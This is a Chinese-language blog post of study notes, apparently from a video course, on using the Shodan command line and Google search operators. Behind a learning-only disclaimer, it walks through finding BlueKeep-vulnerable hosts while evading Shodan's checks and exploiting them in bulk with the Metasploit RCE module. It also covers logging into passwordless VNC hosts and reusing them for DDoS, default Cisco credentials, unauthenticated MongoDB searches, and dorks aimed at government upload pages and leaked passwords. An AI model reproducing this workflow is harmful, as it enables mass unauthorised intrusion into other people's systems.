shodan笔记记录
shodan
声明!!!
学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)
搜索网络设备
原理
服务器部署了各种扫描器,24h不停扫描。
每个地区Ip有范围(中国、欧洲等等)
优点
方便
缺点
不实时
安装
git clone https://github.com/achillean/shodan-python.git
cd shodan-python
python setup.py install
shodan init api_key
shodan -h
或者试试
pip install shodan
配置apikey并查询剩余查询次数
命令
#搜日本的IP地址
shodan search --limit 10 country:jp
#返回目标IP信息
shodan host IP
host查看详细
批量搜CVE-2019-0708
shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp
探测主机信息
搜到后尝试用windwos远程连接连接目标IP,测试弱口令。
msf批量利用
如果不成功,可以使用metasploit进行批量漏洞利用:
msfconsole
search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
set rhosts file:ip.txt(拖入IP地址文件)
check
批量检测是否可以被漏洞利用
批量测试:
在use某个漏洞下:
show options
展示payload
show targets
漏洞存在于哪些版本
参数download
shodan download -h帮助文档
shodan download 0708file --limit 10 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
下载搜索结果
参数parse
shodan parse -h
shodan parse --fields ip_str 0708file解析查看结果,类似解压
shodan parse --fields ip_str 0708file > 0708.txt导出解析结果
用'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'搜索,使用16进制关键字节特征搜索,绕过shodan的安全检查
参数count
shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
库中有多少条信息是这个字节有关
参数honeyscore
shodan honeyscore IP地址
检测是否蜜罐
host
shodan host IP --history
查看IP历史记录
样例:VNC空密码
shodan search --limit 30 --fields ip_str "authentication disabled" port:5900
查一下VNC空密码
可以使用RealVNC viewer / (MobaXterm也可以)直接连进去。
可以控制主机后做DDOS攻击
批量下载
shodan download vncfile --limit 10 "authentication disabled"
批量解析
shodan parse --fields ip_str 文件包vncfile >vnc.txt
展示当前的公网ip
shodan myip
http.title
样例:搜索黑客挂黑页的网站
shodan search --limit 10 --fields ip_str,port http.title:hacked by
shodan search --limit 10 --fields ip_str,port http.title:hacked by country:cn
搜中国的被攻击的网站
shodan search --limit 10 --fields ip_str,port http.title:hacked by country:cn city:beijing
搜中国北京的被攻击的网站
shodan search --limit 10 --fields ip_str,port http.title:mysql
shodan search --limit 10 --fields ip_str,port http.title:后台
样例:思科弱口令
username: admin/cisco
password: cisco
#搜弱口令设备
shodan search --limit 10 --fields ip_str,port "cisco -authorized port:23"
使用远程连接应用 xshell/finalshell连接
搜索某个网段
shodan search --limit 10 --fields ip_str,port net:127.0.0.1
shodan search --limit 10 --fields ip_str,port org:nsa has_vuln:true
搜索NSA带有漏洞的资产
shodan search --limit 10 --fields ip_str,port hostname:google
shodan search --limit 10 --fields ip_str,port country:cn http.waf:safedog
查找安装了安全狗waf的网站
shodan search --limit 10 --fields ip_str,port country:cn http.html:login
检索html前端页面中带有关键字的Ip地址,和title类似
shodan search --limit 10 --fields ip_str,port http.html:"XXX系统登录"
样例:mongodb未授权登录TODO
搜Mongodb未授权登录数据库,未授权一般可以直接连接数据库
shodan search --limit 10 --fields ip_str "Mongodb server information -authentication" port:27017
Jenkins知识补充
在渗透测试过程中的辅助作用 自动化测试:Jenkins可以用于自动化渗透测试过程中的一些任务,如漏洞扫描、安全测试等。通过编写 Jenkins任务,可以定期对目标系统进行安全测试,提高测试效率和覆盖范围。
持续集成与持续部署(CI/CD):在一些企业中Jenkins 被用去 CI/CD 流程中。渗透测试人员可以利用Jenkins 的 CI/CD 流程,在开发和部署过程中进行安全测试,及时发现和修复安全问题。
漏洞管理:Jenkins 可以与漏洞管理工具集成,帮助企业管理和跟踪安全漏洞。渗透测试人员可以利用 Jenkins的漏洞管理功能,了解目标系统中存在的安全漏洞,并制定相应的攻击策略。
总之,Jenkins 在渗透测试中既可能是攻击目标,也可以作为辅助工具。渗透测试人员需要了解 Jenkins 的安全风险和漏洞,以及如何利用 Jenkins 来提高渗透测试的效率和效果。同时,企业也需要加强 Jenkins 的安全配置和管理以防止被攻击者利用。
样例:Jenkins组件搜索TODO
shodan search --limit 10 --fields ip_str "X-Jenkins" OR "Set-cookie:JSESSIONID" http.title:"Dashboard"
摄像头
webcam
product参数
shodan search --limit 10 --fields ip_str,port product:Apache httpd
shodan search --limit 10 --fields ip_str,port org:Tencent cloud
domain
查询域名信息
shodan domain XXX.net
info
shodan info
查询当前账号剩余查询次数
实时扫描
shodan scan -h
shodan scan submit ip地址
shodan scan list
stats
shodan stats --facets ssl.version country:cn has_ssl:true http
统计中国使用了ssl的ip,并用版本做统计
port
shodan search --limit 10 --fields ip_str,port org:Tencent cloud port:3389
屏幕截图
has_screenshot:true cisco
其他参数
has_vuln:true 识别存在漏洞
http.waf:safedog 识别waf
web端其他功能:
monitor 监控网站ip
manage 资产管理 添加要监控的IP
settings 设置通知邮件
dashboard 现有监控的信息,端口、漏洞、IP地址,存在CDN就存在多个地址
Google搜索
inurl:admin
inurl:login
inurl:php?id= 找到可能存在SQL注入漏洞的页面
inurl:asp?id=
inurl:jsp?id=
filetype:pdf 关键词
filetype:doc 关键词
filetype:xls 关键词
intitle:后台管理
intitle:登录页面
site:gov inurl:upload 在政府网站中查找可能存在文件上传漏洞的页面
site:edu inurl:forum 在教育机构网站中查找论坛页面
site:.com inurl:phpmyadmin 在商业网站中查找可能存在的phpMyAdmin管理页面
site:.org inurl:password 在非营利组织网站中查找包含password的页面,可能找到泄露的密码信息
site:.net inurl:backup 在.net域名网站中找备份文件
site:.gov.cn intitle:敏感信息 在政府中文域名网站中查找标题包含敏感信息的页面
site:company.com inurl:confidential 在特定公司网站中查找包含confidential(机密)的页面
site:domain.com inurl:uploads 查找上传文件的目录
site:edu.cn filetype:ppt 关键词
site:*.gov inurl:vulnerability 在各种政府网站中查找包含 vulnerability的页面
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)